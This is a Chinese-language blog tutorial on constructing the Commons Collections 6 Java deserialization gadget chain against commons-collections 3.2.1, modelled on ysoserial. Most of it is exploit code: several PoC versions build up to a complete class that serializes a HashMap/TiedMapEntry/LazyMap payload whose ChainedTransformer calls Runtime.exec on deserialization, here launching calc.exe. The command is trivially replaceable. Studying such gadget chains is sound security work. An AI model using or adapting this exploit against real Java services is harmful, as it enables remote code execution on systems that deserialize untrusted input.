Java反序列化之CC6

CC6

依赖

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

准备

image.png
可以看着那个ysoserial的顺序推:

ysoserial/src/main/java/ysoserial/payloads/CommonsCollections6.java at master · frohoff/ysoserial

好处是不限制JDK版本也不限制CC的版本,比较万能。

编写

首先是LazyMapget调用ChainedTransformertransform
image.png
然后ChainedTransformer再继续调用InvokerTransformertransform
image.png
再调用Methodinvoke
image.png
然后调用Runtimeexec
我们就可以先写Poc:

1
2
3
4
5
6
7
8
9
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap.get("test");

测试命令执行。
然后继续往前,寻找哪里使用了这个get方法
image.png
然后找getValue
image.png
hashCode调用
TiedMapEntry是直接实例化就可以赋值
image.png
然后修改poc:

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "natro92");
tiedMapEntry.hashCode();

可以命令执行。
然后继续找下去,hash调用了hashCode
image.png
image.png
再找put
image.png
然后就是readObject
就可以继续编写下去:

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "natro92");
// tiedMapEntry.hashCode();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "natro92");

这里的HashMapput会导致提前调用hash,会在序列化前命令执行。可以新建LazyMap对象传入个Transformer对象,再通过反射改回。
但是这里并没有弹出计算器,我们断点进去看看。
image.png
如果map没包含这个key,就给map传入这个键值对,如果map已经存在这个key就不会执行这里。
所以需要将hashMapput执行后将lazyMapkey删除掉。
这里说实话,我没太理解。
但是remove了之后确实可以😵。
完整Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// * 先传个临时的,后面再反射修改。
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "2");
// tiedMapEntry.hashCode();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
// * 得删掉这个key
lazyMap.remove("2");
setFieldValue(lazyMap, "factory", chainedTransformer);

serialize(hashMap);
deserialize("secret.bin");
}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

// * 序列化
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin")));
objectOutputStream.writeObject(object);
}

// * 反序列化
public static Object deserialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName)));
return objectInputStream.readObject();
}
}

image.png